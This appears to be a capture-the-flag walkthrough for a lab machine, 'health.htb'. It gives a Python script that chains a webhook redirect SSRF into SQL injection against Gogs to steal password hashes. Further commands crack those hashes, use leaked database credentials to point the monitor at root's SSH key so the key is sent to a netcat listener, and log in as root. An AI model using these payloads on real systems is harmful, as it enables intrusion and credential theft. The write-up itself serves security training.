As always run nmap on the target using default scripts and version enumeration.
# Nmap 7.93 scan initiated Thu Dec 8 17:46:02 2022 as: nmap -sCV -oA nmap/health 10.129.34.2
Nmap scan report for 10.129.34.2
Host is up (0.079s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32b7f4d42f45d330ee123b0367bbe631 (RSA)
| 256 86e15d8c2939acd7e815e649e235ed0c (ECDSA)
|_ 256 ef6bad64d5e45b3e667949f4ec4c239f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 8 17:46:32 2022 -- 1 IP address (1 host up) scanned in 30.97 seconds
We see pretty quickly this website uses webhooks. So to get some info, We discover its using gogs when we forward it to port 3000. CVE-2014-8682 This python script below will start a HTTP redirect server (port 3000) and a netcat listener on 4444 When you visit health.htb you will need to fill in the following fields for this script to work right
Payload Url: http://yourIP:4444
Monitored URL: http://yourIP/
Interval: */1 ****
Select Always in the drop down menu
Run the script Select option 1 to see if you get a response. You will see an output called no_exploit.txt
if it worked. Ctrl+C Select option 2 Ctrl + C Select option 3 Ctrl+C Select option 4
import sys # Import the `sys` module
import threading # Import the `threading` module
import os # Import the `os` module
import subprocess # Import the `subprocess` module
from http.server import HTTPServer, BaseHTTPRequestHandler # Import the `HTTPServer` and `BaseHTTPRequestHandler` classes from the `http.server` module
while True: # Start an infinite loop
try:
# Prompt the user for input and print a menu of options
response = input("Please choose an option:\n1. No exploit\n2. Get Users\n3. Get Passwords\n4. End program\n")
# Define a function that runs the `nc` command and writes the output to a specified file
def run_nc(filename):
os.system(f"nc -nlvp 4444 > {filename}")
# Initialize a `thread` variable depending on the user's input
if response == '1':
thread = threading.Thread(target=run_nc, args=('no_exploit.txt',)) # If the user selects 1, run `nc` with the `no_exploit.txt` filename
elif response == '2':
thread = threading.Thread(target=run_nc, args=('users.txt',)) # If the user selects 2, run `nc` with the `users.txt` filename
elif response == '3':
thread = threading.Thread(target=run_nc, args=('passwords.txt',)) # If the user selects 3, run `nc` with the `passwords.txt` filename
elif response == '4':
break # If the user selects 4, break out of the loop
else:
thread = threading.Thread(target=run_nc, args=('default.txt',)) # If the user enters something else, run `nc` with the `default.txt` filename
# Start the `thread` if it has been defined
if 'thread' in locals():
thread.start()
# Define a `Redirect` class that inherits from the `BaseHTTPRequestHandler` class
class Redirect(BaseHTTPRequestHandler):
# Override the `do_GET()` method of the `BaseHTTPRequestHandler` class
def do_GET(self):
# Initialize the `location` variable depending on the user's input
if response == '1':
location = "http://127.0.0.1:3000" # If the user selects 1, set the `location` to the default URL
elif response == '2':
# If the user selects 2, set the `location` to a URL that contains a SQL injection payload that attempts to get user information
location = "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"
# If the user selects 3, set the `location` to a URL that contains a SQL injection payload that attempts to get password information
elif response == '3':
location = "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--" # Get Passwords
else:
# If no valid response is provided, redirect to the default URL
location = "http://127.0.0.1:3000"
# Send a 302 (temporary redirect) response to the client
self.send_response(302)
self.send_header('Location', location)
self.end_headers()
# Create an HTTP server that listens on port 80 and uses the Redirect class to handle requests
HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()
except KeyboardInterrupt:
# Handle Ctrl+C by prompting the user for input again
continue
Grab the required data from users.txt
and passwords.txt
into hash format at run hascat
echo 'sha256:100000':$(echo 'sO3X..eW14' | base64 | cut -c1-14)':'$(echo '66..74645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64) > hash.txt
Hashcat
hashcat -m 10900 hash.txt $ROCKYOU
Grab user from users.txt
and log in
ssh s.....e@heath.htb
LinPEAS find msql password in /var/www/html/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=M.................4+
PSPY64 finds this processing running
2022/12/10 04:15:01 CMD: UID=0 PID=18664 | /bin/bash -c sleep 5 && /root/meta/clean.sh
2022/12/10 04:15:01 CMD: UID=0 PID=18663 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
Digging through more files we find healthchecker.php
Read comments below to get an idea how this works.
<?php
namespace App\Http\Controllers;
// This is a PHP class called HealthChecker
class HealthChecker
{
// This is a static method called check that takes in three parameters:
// $webhookUrl - The URL to which the JSON object will be sent via an HTTP POST request
// $monitoredUrl - The URL that will be checked by sending an HTTP GET request
// $onlyError - If true, the JSON object will only be sent to the $webhookUrl if the response from the $monitoredUrl is unsuccessful
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
// Create an empty array called $json
$json = [];
// Add the $webhookUrl and $monitoredUrl to the $json array
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
// Send an HTTP GET request to the $monitoredUrl and store the response in $res
$res = @file_get_contents($monitoredUrl, false);
// If the response is successful
if ($res) {
// If $onlyError is true, return the $json array and exit the method
if ($onlyError) {
return $json;
}
// Add a key called 'health' with the value 'up' to the $json array
$json['health'] = "up";
// Add the response body to the $json array
$json['body'] = $res;
// If the $http_response_header variable is set (it contains the HTTP headers of the response)
if (isset($http_response_header)) {
// Create an empty array called $headers
$headers = [];
// Add the first HTTP header to the $json array as the 'message' key
$json['message'] = $http_response_header[0];
// Loop through all the HTTP headers
for ($i = 0; $i <= count($http_response_header) - 1; $i++) {
// Split the header into a key and value pair, separated by a colon
$split = explode(':', $http_response_header[$i], 2);
// If the split was successful and there are two items in the resulting array
if (count($split) == 2) {
// Trim whitespace from the key and value, and add them to the $headers array
$headers[trim($split[0])] = trim($split[1]);
} else {
// If the split was unsuccessful, log an error message
error_log("invalid header pair: $http_response_header[$i]\n");
}
}
// Add the $headers array to the $json array
$json['headers'] = $headers;
}
// If the response was not successful
} else {
// Add a key called 'health' with the value 'down' to the $json array
$json['health'] = "down";
}
// Convert the $json array to a JSON string
$content = json_encode($json);
// Initialize a new cURL session
$curl = curl_init($webhookUrl);
// Set the CURLOPT_HEADER option to false to exclude the header from the output
curl_setopt($curl, CURLOPT_HEADER, false);
// Set the CURLOPT_RETURNTRANSFER option to true to return the transfer as a string of the return value of curl_exec() instead of outputting it directly
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// Set the CURLOPT_HTTPHEADER option to an array of HTTP headers to send along with the request
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-type: application/json"));
// Set the CURLOPT_POST option to true to send a POST request
curl_setopt($curl, CURLOPT_POST, true);
// Set the CURLOPT_POSTFIELDS option to the JSON payload to include in the body of the request
curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
// Execute the cURL request and retrieve the response
$response = curl_exec($curl);
// Close the cURL session
curl_close($curl);
// Return the response
return $response;
In short monitoredURL
can pass files and is control vis mysql.
Setup Netcat listener
nc -lvnp 80
On health.htb
Payload Url: http://yourIP/
Monitored URL: http://yourIP/
Interval: */1 ****
Select Always in the drop down menu
Login into mysql
server and put payload
mysql -u laravel -pM.......................+
use laravel;
update tasks set monitoredUrl='file:///root/.ssh/id_rsa';
Wait for netcat to return id_rsa for root
-----BEGIN RSA PRIVATE KEY-----
.....<snip>....
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
.....<snip>....
-----END RSA PRIVATE KEY-----
chmod 600 id_rsa_root ssh root@health.htb -i id_rsa_root
Profit